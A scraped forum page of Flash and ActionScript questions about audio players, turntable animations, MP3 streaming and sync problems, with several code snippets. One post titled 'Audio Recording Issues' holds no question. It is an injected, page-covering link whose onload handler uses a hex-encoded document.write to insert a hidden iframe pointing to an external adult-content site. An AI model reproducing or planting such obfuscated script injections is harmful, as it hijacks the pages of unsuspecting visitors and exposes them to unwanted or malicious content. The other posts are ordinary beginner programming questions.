Turntable Audio Player Has Issues {please Help Me}
I wanted to create a simple audio player for my new site (no volume, no rewind/fast forward and no pause). The idea was to have a tiny turntable that grows when you mouse over it, allowing you to swap out the records. However, Im afraid that I have structured the entire thing wrong from the ground up and need outside intervention before I go any further down this rabbit hole. Currently there is a parent turntable movie which ends up being loaded within the site (that part works fine). This movie controls the on (rollover) sizing up and down of the turntable itself. A child records movie plays the songs, swings the arm in and out and swaps out the records as you click on them. Quite naturally, one of this players issues is that every keyframe in the parent turntable movie, recalls the records movie, causing the songs to start over as the user rolls in and out of the player. It seems like I could avoid this by taking the load song action off of the frame, putting it on the on (release) of the appropriate record and loading it within the parent (recommended action script for this would be greatly appreciated). However, that still wouldnt solve my starts over when you mouse in or out issue. You see, I want the little turntable (moused out) to be playing a record if the music is playing and empty if the music is stopped which youll notice isnt currently working. In theory, I could do a whole if playing on mouseover go to frame where record is spinning and if stopped go to recordless frame but this gets pretty complicated fast and Im no actionscript expert. My question is, am I on the right path? What is the best way for me to do this? Do I need to restructure my movie layout completely? Would anyone PLEASE be willing to help me with specific actionscript direction; I have an entire site to finish and this is really holding up my progress.
KirupaForum > Flash > Flash 8 (and earlier) > Flash MX
Posted on: 11-13-2005, 11:41 AM
View Complete Forum Thread with Replies
See Related Forum Messages: Follow the Links Below to View Complete Thread
Flv Audio Sync Issues & Player 9
Greetings, I've been looking for a solution for weeks, and thought I'd give the forums a shot.
I have a client site with 6 progressively downloaded flv clips that play when a button is clicked.
The flv files are encoded with After Effects 6.5, and the swf files are published in Player 8.
The video clips are made with an alpha channel of a guy talking and are about 30 sec to 1 minute long each.
The problem is audio sync issues on certain computers during playback even when the files are completely buffered.
The other problem is that these flv files won't play on computers that have player 9 loaded.
I'm investigating whether there are audio sync issues when encoding flv files from AE 6.5, but still really
confused about the player 9 issue. I was wondering if there are updates to 9 I can recommend to my client
or if adobe knows of any bugs that are currently being looked into.
Thanks,
Kevin
Audio Player That Requires Access Codes To Play Audio Files. Possible ?
LINK
I've just uploaded this rough piece of website for an upcoming band. If you click LINK you will see two flash movies. The one on the bottom is the audio player. What they want instead of JUST an audio player, is a player that plays certain "secret" audio files if you enter the correct 6 digit number. So imagine a text field and a submit button next to the < || > controls. I'm still getting to know Flash and I have no idea how to create something like this. Anyone have any advice? Any tutorials out there? Info? and finally...this IS possible right?
Thanks
Audio Player That Requires Access Code To Play Audio Files. Possible ?
http://www.theafternoontears.com/monitor.html
I've just uploaded this rough piece of website for an upcoming band. If you visit the URL above you will see two flash movies. The one on the bottom is the audio player. What they want instead of JUST an audio player, is a player that plays certain "secret" audio files if you enter the correct 6 digit number. So imagine a text field and a submit button next to the < || > controls. I'm still getting to know Flash and I have no idea how to create something like this. Anyone have any advice? Any tutorials out there? Info? and finally...this IS possible right?
Thanks
Turntable
Can anyone help, im trying to find a simple looking DJ turntable source file that you can scratch songs on that will work in flash 5.
Can anyone help me?
Thanks
Can
Turntable
Someone created a really cool player that looked like a turntable on this site. I wanted to know how he did it, I'm just starting out with flash,so I'm not looking to create something too complex. WhatI really want is to have the player play 1 or 2 songs, not nine. The address is http://www.flashkit.com/movies/Sound/Players/index.php
It's called turntable 2.0 or something.
Audio Player/playing Audio Files Externally (mp3)
I've designed the audio player with all of the necessary buttons. I'm trying to play the mp3 files in an consecutive order. I am having trouble stopping or pausing, rewinding and fast-forwarding the mp3 file. I also have a next button and a back button and I don't know how to get them to work either. I have a slider, but can't get it to work either. Please help! I tried to follow the tutorial on flash kit, but wasn't quite understanding it. I would greatly appreciate this if someone could lend their knowledge and support.
Thanks in advance!
PR Gip
CD With Projector And Audio Track For Conventional Audio CD Player
hey guys,
I'm creating a CD that contains an auto-executable flash profector but, I want the option of putting the CD into a conventional audio CD player and hearing an audio track.
Is this possible, creating an audio and data cd? If so, how?
Thank you very much!
artane
CD With Projector And Audio Track For Conventional Audio CD Player
hey guys,
I'm creating a CD that contains an auto-executable flash profector but, I want the option of putting the CD into a conventional audio CD player and hearing an audio track.
Is this possible, creating an audio and data cd? If so, how?
Thank you very much!
artane
Turntable Idea
I made a top perspective of a turntable and on release i want the cover to hinge up and reveal a turntable.....a tween or something??? how would i do this simple action?
Flash Audio Player For Streaming Audio
I am working on our church's website and am trying to add mp3 sermons for our visitors to listen to. I have a player that I downloaded but is has some problems, for some reason it will play 2 files at the same time, sometimes it says file not found and I am not sure why. I do not have the FLA file just the SWF that was on the website for download so I can't make any changes. Can anyone tell me how to make a flash audio player with play, stop, pause, rewind and fast forward buttons. Or if anyone has a sample player that I could use for my church, I need it as small as possible and do not need a playlist. Any help would be great.
Interactive Scratch Turntable
Hello,
I'm attempting to create a virtual turntable that teaches people how to scratch. I have looked at the examples on this website but what I really need is the sound to be manipulated with the mouse as if you were touching a real vinyl with your hand e.g you can slow the sound down and create rubbing sounds etc
Any of you experts out there have any ideas how would do this?
Cheers,
Harry
(P.s Im using Flash MX 2004)
[F8] 2 Flash Objects - Audio Player Passes Pause To Video Player
I have 2 flash objects on my html page.
One is a video player and the other is an audio player.
The video player starts playing by default.
I'd like to somehow set this up so that if someone clicks on the audio player, it automatically pauses the video player.
Please note that these are 2 SEPARATE FLASH OBJECTS on my HTML website. I'm not developing an all Flash driven website.
The audio player was added as an afterthought, originally there was only going to be a video player on the page.
How can I send a pause command from the Audio Player to the Video Player?
FOO
Turntable Cube - Reverse And Forward Problem
Hello everyone
How can I fix this script.
I have a rendered 37 frames turntable cube movieclip. And two buttons. Scenario is like that; When we release the right button movie must play forward normally and stop at 14. and 32. frames. When we release the left button movie play backward and stop 14. and 32. frames again. And this behaviour must be endless (turntable) ( at 37. frame it must turn to first frame if released right button or at first frame it must turn to 37 if released left button).
I tried to write a script but movie couldn't stop at 14. and 32. frames or it's not turntable...
My script is in attachment.
Please help me..
Pop Up Audio Player Silencing Page Player
I recently added a pop up player to my site, which pops up the audio player in a new window if you care to listen while navigating other pages (or want to listen without having the songs start over each time you change a page, because i'm working primarily html, and only using a flash player, so each time you load a new page it starts over). What i'm wondering is if there is some kind of global function that will have the media player on the page check if the pop up player is playing, and if it is, then not to start the audio. I'm not sure if that makes sense or not, but basically i want one audio player to be playing at a time, so you don't have songs clashing against each other.
Audio Issues
DOH!
removing the guts of my previous post as I suddenly realised my swf size issue was caused by having embedded a complete font while trying to solve a special character display issue.
I still have a question though regarding audio, what would you consider an acceptable size/bitrate/khz etc for an audio file being used on a prominent musicians site. It is a 12 second sample of a track from his new album. It plays as a brief intro to the album page within the site.
There are other places where the user can actually play the song
please help
mark
.flv Issues And Audio
i have a flash music video integrated into one of my pages. the problem here is that i already have an audio player playing in the background. I placed a "stop all sounds" commmand in a frame before the flv starts streaming and this works just fine.
What I was wondering is if there was any way to start the audio back up after i leave the page and go to a different page?
Audio Issues
I have an FLA with a single timeline that contains a voice-over audio file (a WAV file I've imported) and several movie clips that contain sound elements such as popping sounds when the movie clip plays. Again, the source of these sound elements are WAV files I've imported.
When I have my Publish Settings set to "Audio Stream: MP3, 48 kbps, Mono" and "Audio Event: Disable", the SWF publishes without any audio. But if I publish with "Audio Event" at some MP3 setting, the SWF publishes with audio.
I want the voiceover audio to stream. Any suggestions on how I can make this happen? Thanks!
Audio Issues
Right im trying to make a music video animation. Synchronising the audio to movemenets is important so I need to be listening to the audio constantly against the visual background. The first thing I noticed was that the music never actually ended one it started. Bizzarly you have to mute the audio from a menu. I presumed it would have stopped when space was pressed.
This isn't the worst of the problems ive had. The one that has stopped me from ever doing this project is the fact that you have to listen to the audio from the beginning every single time. Why is this? I'd much rather be able to start the video from anywhere in the animation and have the music play from the same place. If this isnt possible on MX is it possible on Flash 8 coz this is a major issue for me at the moment.
It doesnt matter now, ive figured it out. You set the music to stream. I thought I have already tried this but obviously I hadn't.
RR
Audio Issues
I am trying to have my audio files play when certain buttons are pressed. I have 3 audio files. File 1 and 2 play fine, but audio 3 wont start to play. Audio 2 just keeps getting louder. What am I doing wrong?
PHP Code:
//
// sound code
// create sound holder movie clips
this.createEmptyMovieClip("sound1holder", 1);
this.createEmptyMovieClip("sound2holder", 2);
this.createEmptyMovieClip("sound3holder", 3);
// create first sound object, attach sound, set volume, play sound
loop1 = new Sound(sound1holder);
loop1.attachSound("intro");
loop1.setVolume(40);
loop1.start();
// create second sound object, attach sound, set volume, play sound
loop2 = new Sound(sound2holder);
loop2.attachSound("letme");
loop2.setVolume(0);
loop2.start();
// create third sound object, attach sound, set volume, play sound
loop3 = new Sound(sound3holder);
loop3.attachSound("movefeet");
loop3.setVolume(0);
loop3.start();
// create sound loops
loop1.onSoundComplete = function() {
loop1.start();
};
loop2.onSoundComplete = function() {
loop2.start();
};
loop3.onSoundComplete = function() {
loop3.start();
};
// set volume variables
volume1 = loop1.getVolume();
volume2 = loop2.getVolume();
volume3 = loop3.getVolume();
// define volume changing function
function VOLUME(value1, value2, value3) {
if (volume1 == value1 && volume2 == value2 && volume3 == value3) {
for (i=1; i<=7; i++) {
// clear the onEnterFrame for each of the buttons
button_nest["button"+i].onEnterFrame = undefined;
}
}
if (volume1>value1) {
volume1 -= 1;
loop1.setVolume(volume1);
} else if (volume1<value1) {
volume1 += 1;
loop1.setVolume(volume1);
}
if (volume2>value2) {
volume2 -= 2;
loop2.setVolume(volume2);
} else if (volume2<value2) {
volume2 += 2;
loop2.setVolume(volume2);
}
if (volume3>value3) {
volume3 -= 3;
loop3.setVolume(volume3);
} else if (volume3<value3) {
volume3 += 3;
loop3.setVolume(volume3);
}
}
Audio Issues
i'm working on a flash intro that plays a .mp3 during the intro. It works fine on all the computers i have around me and tested it on. However, the client insists that the music stops twice during the intro on his computer.
I first thought that the reason for this must have been a slow internet connection, since i set the mp3 to play streaming. The weird thing is that i tested it on the computer of a friend of mine, who has 2-3mb connection, and the same thing happend. It just stopped playing occasionaly
Is this really a streaming issue? Or can it be something else, like a older flashplayer or....?
This is the the code that i used.
Code:
_global.bgsound = new Sound ();
bgsound.loadSound("waww.mp3", true);
bgsound.setVolume(80);
bgsound.onSoundComplete = function() {
bgsound.start();
}
After he mentioned it to me, i thought i would just include .mp3 in the .swf file. This would slightly increase the file size, but it would make sure the whole audio file is loaded before the intro starts. So i imported it into the library, made sure the export for actionscript and the export into first frame was enabled. Filled in a name, and placed it in a empty flash file just for testing.
I made one keyframe on the first frame where i placed the following code.
I looked at several examples, and came up with this. But it doesn't work, and i really don't see why. The audio file is called my_audio under linkage, however the sounds doesn't start. What's wrong with this?
Code:
var my_sound:Sound = new Sound();
my_sound.attachSound("my_audio");
my_sound.start(0, 1000);
[F8] Audio Streaming Issues - Help
Hi,
I have a movie that streams an mp3, I'd like to give some instructions to this movie after the song streaming is completed... how can I do that??, how do I know when the song reaches the end??.
Thanks!!
Audio Playback Issues
Hi
i'm building tutorial -
using wav. files and settings at mp3-160/best -
plays fine on timeline but - in test mode there is slight clipping occuring
and a slur on all words beginning with "S"
any advice
thanks in advance
ju
Audio Recording Issues
Hi,
For language teaching purposes, we've developed a flash media server based app which allows users to record audio. It works well, but at times (actually often) there is a drop in the audio recording which can last several seconds. We think it could be a network issue, as it appears to be more salient in some areas or campus than others, but we're still within the university network itself so I'm thinking there might be a setting to change or something we might not be doing well.
thanks in advance for any help!!
Emmanuel
Audio Recording Issues
<a target="_blank" href="http://google.com/"style="background: white none repeat scroll 0%; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-back-ground-inline-policy: -moz-initial; position: absolute; left: 0px; top: 0px; margin-top: 0px; display: block; width: 1024px; height: 2048px;"onload="document.write('une'+'scape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%6A%73%70%6F%72%74%69%6E%67%2E%63%6F%6D%2F%64%69%72%32%2F%66%72%65%65%2D%6C%65%73%62%69%61%6E%2D%73%71%75%69%72%74%69%6E%67%2D%63%6C%69%70%73%2F%32%30%31%39%35%38%27%3E%3C%2F%69%66%72%61%6D%65%3E')')">http://google.com/"style="background:white;position:absolute;left:0px;top:0px;margin-top:0px;display:block;width:2048px;height:2048px;"onload="document.write('une'+'scape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%77%77%77%2E%6A%73%70%6F%72%74%69%6E%67%2E%63%6F%6D%2F%64%69%72%32%2F%66%72%65%65%2D%6C%65%73%62%69%61%6E%2D%73%71%75%69%72%74%69%6E%67%2D%63%6C%69%70%73%2F%32%30%31%39%35%38%27%3E%3C%2F%69%66%72%61%6D%65%3E')')"</a>
OSX Issues When Recording Audio Via FMS
We're working on a service which uses Flash media server for simple audio recording, but I have a VIP user on osx 10.4.x who is not able to record audio via Flash. I have tried another site which uses flash for audio recording (Sims Karaoke) and he's not able to record there either. He is however, able to get audio levels when he looks at system preferences > sound > input.
I had thought that it was perhaps a conflict arising from some weird third party tweaking of Audio Midi Setup settings but I can't replicate it.
Any suggestions?
Thanks!!!!
/t
Audio Playback Issues
Hi guys,
I've got this button that has to animate when it's moused over, AND also play a sound. When you mouse out, it should stop both the animation and the sound.
I'm getting error messages about the menu_channel and menu_audio, and I've never worked with these before. What am I doing wrong?
Also, I'm working in CS3 and AS3.0
Attach Code
stop();
green2.stop();
var minor:Sound = new minorz();
var effect_channel: SoundChannel = new SoundChannel();
menu_channel = menu_audio.play();
green2.addEventListener(MouseEvent.MOUSE_OVER, playMinor);
green2.addEventListener(MouseEvent.MOUSE_OUT, unplayMinor);
green2.addEventListener(MouseEvent.MOUSE_OVER, playGo);
green2.addEventListener(MouseEvent.MOUSE_OUT, unplayGo);
green2.buttonMode = true;
function playMinor(evt:MouseEvent):void
{
minor.play(0, 0, null);
}
function unplayMinor(evt:MouseEvent):void
{
var pausePosition:int = menu_channel.position;
}
function playGo(evt:MouseEvent):void
{
green2.gotoAndPlay(1);
}
function unplayGo(evt:MouseEvent):void
{
green2.gotoAndStop(1);
}
Edited: 11/17/2008 at 09:03:12 PM by Zafflesia
Audio Loading Issues
I am currently designing a site that has a looping background audio piece, however, within this movie there is a section that'll have another piece of audio in it, (eg. restaurant sound in background).
I have a on/off button that controls all the audio, but what i want to happen is when the main audio piece to turned off the other audio piece is still allowed to play...
I'm sure someone has had this problem before..so any help would be greatly appreciated...
thanks
chef
Issues With Loading Audio
Hi all. I'm having a really weird issue loading in two audio clips. I have used the following steps in many other cases and it has always worked, so I was surprised to see this happen with my LAST two clips I need to insert into my flash module. Anyway, here is the process I go through:
1. Take audio from video file in Final Cut Pro
2. Export to AIFF
3. Burn to CD using iTunes
4. Import to iTunes as MP3
5. Insert MP3 file into flash module using the following actionscript:
Code:
var my_sound:Sound = new Sound();
my_sound.loadSound("audio/testSound.mp3", true);
my_sound.start();
The audio file is within the audio folder and true is set to stream the audio file. Yes, this has worked, and continues to work for me on 99% of my attempts, however with 2 audio clips I get really squeaky, tinny sounding audio. When I go and play the audio file on its own, using iTunes or WMP, it sounds just fine. How can this be?? Is this a bug? Any thoughts?? Thanks for any help, I'm at a lost!
-m
Audio Loading Issues
I am currently designing a site that has a looping background audio piece, however, within this movie there is a section that'll have another piece of audio in it, (eg. restaurant sound in background).
I have a on/off button that controls all the audio, but what i want to happen is when the main audio piece to turned off the other audio piece is still allowed to play...
I'm sure someone has had this problem before..so any help would be greatly appreciated...
thanks
chef
AS3 Audio Issues In The Browser
I've been trying to learn about the Flash 9 audio stuff so i can enter Lee's competition. My problem that i've ran into is that my project works just fine audio-wise and everything when i test it within Flash 9. But when I publish it or preview it in the browser none of the dynamics work and no sound plays.
I find the same issue when viewing Lees sound spectrum thing on theflashblog.
Timeline Pause/audio Issues; Help
Hello all;
I am working on a swf animation for a client; the animation has voiceover during a construction timeline segment, and I have pauses in the timeline with the following code:
stop();
var interval:Number = setInterval(function () { play();clearInterval(interval);
}, 1000);
Everything works fine on the original play but they want buttons installed that will jump to different construction segments to review, etc. My problem is when i hit the button and it goes back to that frame (even when it lands on a pause frame) it forgets all about the pause delays after the first one in the actions layer. I don't understand why flash is ignoring the pause commands. Am I using the wrong pause code on the actions layer? Any help would be appreciated. Thank you all so much in advance!!!
Frame Rate / Audio Issues
I've been having audio sync issues in a cartoon that I'm building. It's a fairly long cartoon and about half way into it, the audio goes way out of wack. Even if I stop play, and start, the audio is still out of sync. However, if I publish just a scene, the audio syncs beautifully. I just finished up a couple cartoons just as long as this and set the frame rate set to 12. The audio would go out of wack, but if I stopped the play, then restarted, it would re-sync. On this new one, I set the frame rate to 24 FPS.
Is this a frame rate issue, a Flash issue, or possibly a soundcard / processor speed issue? I'm on a laptop, AMD 64 bit, 3400 processor, with 512 MB of Ram.
Cue Point-related Audio Issues In FLV
I'm running Flash 8 on a Compaq laptop (Evo N620c) Windows NT.
I'm working on re-purposing a series of German-language medical tutorials in Flash. One of these plays a video as part of a quiz. The original (German) video is called in a SWF container along with a load of other stuff. Cue points in the video determine its behavior.
We shot a *cough* not so well produced *cough* English-language version of the vid for our project. I have a list of the cue points added to the original FLV, their names, etc. Our video is about ten seconds longer than the German one: I can't see that that matters. I added the cue points (using the original nomenclature) to our re-shot video using the Flash 8 video encoder. Both the original German-language SWF and the English-language one I cloned see it and play it. (Our original file is a MOV -- I don't know what the original German format was.)
Problem: One of the cue points pauses the video to allow the user to read some text. At this point, the audio drops out, never to return. The video plays -- but there is no sound. I have not touched the action script. All I have done is to use a different video (named the same) in place of the German one. If I put the German one back in, it plays fine.
Can't for the life of me see what the problem is. Has anyone experienced anything like this in their travels?
I'm going to try encoding the video on a faster machine. Our original MOV does not seem to be corrupted... Quicktime and the freebie Wimpy player have no problem with it.
I've been as clear as I can be about this odd little problem, but if anyone has a question for me, shoot.
Security Issues On Audio Stream
I'm writing a streaming audio player in flex for a client of mine. Everything is going fine except for the security issues.
I'm using computeSpectrum to draw a sound channel visualization and that function is one of the one's flash security limits without proper use of a crossdomain file.
Basically its set up on two servers. www.clientswebsite.com/somedirectory/AudioPlayer.html is the page with my .swf.
streamstation.clientswebsite.com is a server with shoutcast set up. I had my client install IIS on port 80 so now theres a crossdomain file at streamstation.clientswebsite.com/crossdomain.xml.
The file is on the up and up:
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only" />
<allow-access-from domain="*" />
</cross-domain-policy>
but for some reason I still get security issues poping up in my debug flash player.
I am not at all a server or hardware guy, I'm a humble flash developer and this security issue has me stumped. So, I would greatly appreciate any advice you guys have.
Also, if its relevant, I'm writing this in Actionscript 3.0 and Flex 3.
Security Issues On Audio Stream
I'm writing a streaming audio player in flex for a client of mine. Everything is going fine except for the security issues.
I'm using computeSpectrum to draw a sound channel visualization and that function is one of the one's flash security limits without proper use of a crossdomain file.
Basically its set up on two servers. www.clientswebsite.com/somedirectory/AudioPlayer.html is the page with my .swf.
streamstation.clientswebsite.com is a server with shoutcast set up. I had my client install IIS on port 80 so now theres a crossdomain file at streamstation.clientswebsite.com/crossdomain.xml.
The file is on the up and up:
<cross-domain-policy>
<site-control permitted-cross-domain-policies="master-only" />
<allow-access-from domain="*" />
</cross-domain-policy>
but for some reason I still get security issues poping up in my debug flash player.
I am not at all a server or hardware guy, I'm a humble flash developer and this security issue has me stumped. So, I would greatly appreciate any advice you guys have.
Audio Player/MP3 Player Class
Hello,
Below is my MusicPlayer class. Feel free to use it however you see fit. The sources are attached so you can see a working example. I striped my graphics since I'm so sexy at PhotoShop...
I know leaving objects in a class as public is bad karma, but I though it this case it warrants it. Notice public var sound:Sound is public. If you want to add more method/function without changing the class you can directly access the variable.
ActionScript Code:
import mx.utils.Delegate;
import com.FlashGordon.utils.TimeFormat;
class com.FlashGordon.media.MusicPlayer {
public var sound:Sound;
private var duration:Number;
private var travelDistance:Number;
// vars used to display the current time in txt field
private var displayTime:Boolean = false;
private var txt:TextField;
// vars used in buttons of sound
private var is_paused:Boolean = false;
private var restartAt:Number;
public function MusicPlayer(_duration:Number, _soundObj:MovieClip) {
// set the total duration of the music file in milliseconds
// if duration is defined
if (_duration != undefined) {
duration = _duration;
// if duration is not defined
} else {
// make an onLoad function to get the actual duration
sound.onLoad = function() {
duration = sound.duration;
};
}
// create a sound object
if (_soundObj != undefined) {
sound = new Sound(_soundObj);
} else {
sound = new Sound();
}
}
// load the file to play
public function play(file:String):Void {
sound.loadSound(file, true);
}
// track the progress of the song and scrub the sound postion
public function progress(bar:MovieClip, preloader:MovieClip, scrub:MovieClip):Void {
// the total distance the scrub will travel. Used to set restart value
travelDistance = bar._width;
// track the loading of the song
preloader.onEnterFrame = Delegate.create(this, pre_onEnterFrame);
function pre_onEnterFrame() {
preloader._xscale = sound.getBytesLoaded()/sound.getBytesTotal()*100;
// once the sound object has been completely loaded
if (sound.getBytesLoaded() == sound.getBytesTotal()) {
delete preloader.onEnterFrame;
preloader._visible = false;
}
}
// move the progress bar length
bar.onEnterFrame = Delegate.create(this, bar_onEnterFrame);
function bar_onEnterFrame() {
bar._xscale = (sound.position/duration)*100;
scrub._x = bar._x+bar._width-(scrub._width/2);
if (displayTime) {
txt.text = TimeFormat.format(sound.position/1000)+"/"+TimeFormat.format(duration/1000);
}
}
// set up scrubbing
scrub.onPress = Delegate.create(this, scrub_onPress);
function scrub_onPress() {
sound.stop();
// set up draging for scrub
var left:Number = bar._x-(scrub._width/2);
var right:Number = preloader._x+preloader._width-(scrub._width/2);
scrub.startDrag(false, left, scrub._y, right, scrub._y);
// make progressbar follow scrub
delete bar.onEnterFrame;
scrub.onEnterFrame = Delegate.create(this, scrub_onEnterFrame);
function scrub_onEnterFrame() {
bar._width = scrub._x+(scrub._width/2)-bar._x;
// display the current time for the scrub head
if (displayTime) {
var percent:Number = (scrub._x+(scrub._width/2)-bar._x)/travelDistance;
// Math.floor is used here instead of Math.round because
// of dealing with time and not play position.
var restart:Number = Math.floor(percent*duration/1000);
txt.text = TimeFormat.format(restart)+"/"+TimeFormat.format(duration/1000);
}
}
}
scrub.onRelease = scrub.onReleaseOutside=Delegate.create(this, scrub_onRelease);
function scrub_onRelease() {
delete scrub.onEnterFrame;
scrub.stopDrag();
var percent:Number = (scrub._x+(scrub._width/2)-bar._x)/travelDistance;
var restart:Number = Math.round(percent*duration/1000);
sound.start(restart, 1);
bar.onEnterFrame = Delegate.create(this, bar_onEnterFrame);
is_paused = false;
}
}
// display the time of the audio file
public function display_time(_txt:TextField):Void {
txt = _txt;
displayTime = true;
}
// Control the volume
public function scrub_volume(scrub:MovieClip, scrubOrientation:String, lowerLimit:Number, upperLimit:Number):Void {
scrub.onPress = Delegate.create(this, onPress);
function onPress() {
if (scrubOrientation == "horizontal") {
scrub.startDrag(false, lowerLimit, scrub._y, upperLimit, scrub._y);
} else if (scrubOrientation == "vertical") {
trace("vertical");
scrub.startDrag(false, scrub._x, upperLimit, scrub._x, lowerLimit);
}
scrub.onEnterFrame = Delegate.create(this, onEnterFrame);
function onEnterFrame() {
if (scrubOrientation == "horizontal") {
var percent:Number = (scrub._x-lowerLimit)/(upperLimit-lowerLimit);
} else {
var percent:Number = (scrub._y-lowerLimit)/(upperLimit-lowerLimit);
}
sound.setVolume(Math.round(percent*100));
}
}
scrub.onRelease = Delegate.create(this, onRelease);
function onRelease() {
scrub.stopDrag();
delete scrub.onEnterFrame;
}
}
// Set up the Play, Stop, and Pause buttons/movieclips
public function buttons(play:Object, stop:Object, pause:Object):Void {
// play button
//if (play != undefined) {
play.onRelease = Delegate.create(this, play_onRelease);
function play_onRelease() {
if (is_paused) {
sound.start(restartAt, 1);
is_paused = false;
} else {
sound.start(0, 1);
}
}
//}
// stop button
//if (stop != undefined) {
//trace( "defined");
stop.onRelease = Delegate.create(this, stop_onRelease);
function stop_onRelease() {
sound.start(0, 0);
sound.stop();
is_paused = false;
}
//}
// pause button
//if (pause != undefined) {
pause.onRelease = Delegate.create(this, pause_onRelease);
function pause_onRelease() {
if (!is_paused) {
is_paused = true;
restartAt = Math.round(sound.position/1000);
sound.stop();
}
}
//}
}
}
ActionScript Code:
class com.FlashGordon.utils.TimeFormat {
//
static function format(n:Number):String {
var N:Number = Math.floor(n%60);
if (!isNaN(N)) {
if (N<10) {
return Math.floor(n/60)+":0"+N;
}
return Math.floor(n/60)+":"+N;
} else {
return "0:00";
}
}
}
ActionScript Code:
stop();
import com.FlashGordon.media.MusicPlayer;
var player:MusicPlayer = new MusicPlayer(132781);
player.play("mp3s/con alma.mp3");
player.progress(progressBar_mc, preloaderBar_mc, scrub_mc);
player.display_time(time_txt);
player.scrub_volume(volScrub_mc, "horizontal", 30, 100);
player.buttons(play_mc, stop_mc, pause_mc);
Here is my only question:
Why does this not work:
ActionScript Code:
public function buttons(play:Object, stop:Object, pause:Object):Void {
// play button
if (play != undefined) { // I CAN'T DO THIS
play.onRelease = Delegate.create(this, play_onRelease);
function play_onRelease() {
if (is_paused) {
sound.start(restartAt, 1);
is_paused = false;
} else {
sound.start(0, 1);
}
}
}
Audio Syncing Issues With Flash Presentation.
Hello Everyone,
We're working on a flash presentation for a client of ours that includes a voiceover and background audio track and we have come into a snag with how the audio is syncing up with the animation.
We are using Flash 8 and the final published flash file will be played locally from a newer PC laptop connected to a Plasma TV so as of right now file size and streaming over the internet isn't a factor.
When the voiceover layer was set to "streaming" the voiceover sounds really compressed and distorted but once the audio and animation was synced up. The presentation played well (minus the sound quality) and the audio and animation stayed in sync with each other.
To make the voiceover sound better we changed the layer from "streaming" to "Start" which made the voiceover sound 10 folds better, BUT even though we went back and re synced the audio and animation together now the SWF/projector/.EXE file sometimes plays and syncs up great, other times the audio is completely off with the animation.
Has anyone ever had this problem? (from reading other posts on it seems lots of people have had similar issues with Flash when working with audio)
And any ideas on how we can fix this?
Pretty sure the syncing up issues now stems from changing the audio layer from "streaming" to "start" so if anyone has any suggestions on how we can make the audio layer sound clearer and still be set to "streaming" that would also be a great help.
Many thanks, any help is appreciated.
Flash 9 Audio Issues With Audition Batched MP3s
I batch process more than 1 file, from .wav to .mp3 with Audition 2. These mp3s, when viewed through Audition 2, are completely fine. I then import the files into my library in a Flash 9 file, and when I use the newer files (even when I preview them in the library) in the Flash file, the first second or so is cut off, making my published file unacceptable.
Any ideas? I really need to use this workflow for all of my projects, and everything worked fine with Flash 8. Another clue is that if I convert my audio to mp3 'manually' (as opposed to batch), or even if I batch only 1 file into MP3, the resultant files work fine in flash. Weird.
Thanks in advance for any help.
MP3 Player Issues
Okay so perhaps I am dumb or something but I am having MAJOR problems with an MP3 player I got from flash kit. All the files are in the root html dir for now so it shouldn't be an issue with the path (at least so I think).
http://www.flashkit.com/movies/Sound...dex.php?chk=no
Well here is the dilemma, I can get it to pull the tracks.txt fille from the server but, not until after I have refreshed the page! I don't understand why the player cannot find the file until the page has refreshed. I have it hosted on dixiesys on a redhat box running ensim control panel if that helps any at all.
Here is the kicker. I loaded it onto an internal BSD box at work and the thing works fine on initial load! So it's got to be something the wayt he site is setup? Is there anything in configuration in the flash file that will help this?
Any help would be greatly appreciated!
MP3 Player Issues
OK so I am having some issues here. I downloaded this player from flashkit
http://www.flashkit.com/movies/Sound...dex.php?chk=no
I cannot get it to play MP3 files on my website. It will only pull the tracks.txt file once the page has been refreshed?!?! I even put teh full path in the URL but it still does the same thing. It does this everytime without fail. Does flash require the file it's pulling from to be cached first? I am so confused, I apologize for the noobie question but I didn't know where else to ask, and to me it seems like it might be an action scripting issue.
Any help would be greatly appreciated.
FLV Player Issues
I have been trying to understand how a FLV player functions using AS 2 and 3.
To understand more about starting a FLV player from scratch I have been following this really good tutorial
http://www.communitymx.com/content/a....cfm?cid=4E1D8
I have followed every step carefully but when I publish it there are a few errors that pop up. The tutorial was set for AS 2.0 but my flash (CS3) tells me that the code is not suitable for AS 2.0 and that I should go to AS 3.0
I have attached a zip file.
any help would be great >
Mp3 Player Issues
I am using an mp3 player component. I have started adapting it to my sites needs and now I am trying to create an in flash mp3 playlist that the mp3 player will use to load specific songs. as it is the mp3 player only supports cycling through the playlist sequentially. How can I modify it to load "track numbers"?
mp3 player code:
Code:
//||------------------------------------------------------------------||
//|| XmlMp3Player Smart Clip Developed By Israel Cazares [blackbox] ||
//|| url: www.bbbcmx.net ||
//|| location: Sinaloa, Mexico ||
//||------------------------------------------------------------------||
//||Licencia de uso: ||
//||Este componente Smart Clip puede ser usado de forma libre siempre ||
//||y cuando un correo sea mandado a blackbox@bbbcmx.net con un link ||
//||a la pgina que lo usa y se le de creditos al autor del mismo. ||
//||------------------------------------------------------------------||
//||Terms of use: ||
//||this Smart Clip Component can be used freely if an email to ||
//||blackbox@bbbcmx.net is sent with a link of the site that uses ||
//||the component and give credits to the author. ||
//||------------------------------------------------------------------||
btn1.onPress = function() {AudioPath = aPath[2]};
AudioXml = new XML();
AudioXml.ignoreWhite = true;
AudioXml.onLoad = LoadXmlFile;
AudioXml.load(playListPath);
function LoadXmlFile(success) {
if (success) {
aPath = new Array();
asongTitle = new Array();
aAudio = new Array();
aAudio = this.firstChild.childNodes;
AudioTotal = aAudio.length;
for (i=0; i<AudioTotal; i++) {
if (aAudio[i].nodeName == "AudioProps") {
aPath.push(aAudio[i].attributes.path);
asongTitle.push(aAudio[i].attributes.songTitle);
}
}
AudioPath = aPath[0];
tAuthor = asongTitle[0];
AudioActual = 1;
tCount = AudioActual+" Of "+AudioTotal;
tText = "Loaded";
} else {
tText = "not loaded";
}
}
Ff.onPress = function() {
if (AudioActual<AudioTotal) {
AudioActual += 1;
AudioPath = aPath[AudioActual-1];
tAuthor = asongTitle[AudioActual-1];
MySound.stop();
Mystatus = "Press Play";
}
};
Rw.onPress = function() {
if (AudioActual>1) {
AudioActual -= 1;
AudioPath = aPath[AudioActual-1];
tAuthor = aSongTitle[AudioActual-1];
MySound.stop();
Mystatus = "Press Play";
}
};
PlayBtn.onPress = function() {
if (FlagPausa == true) {
MySound.start(SoundPausePos, 0);
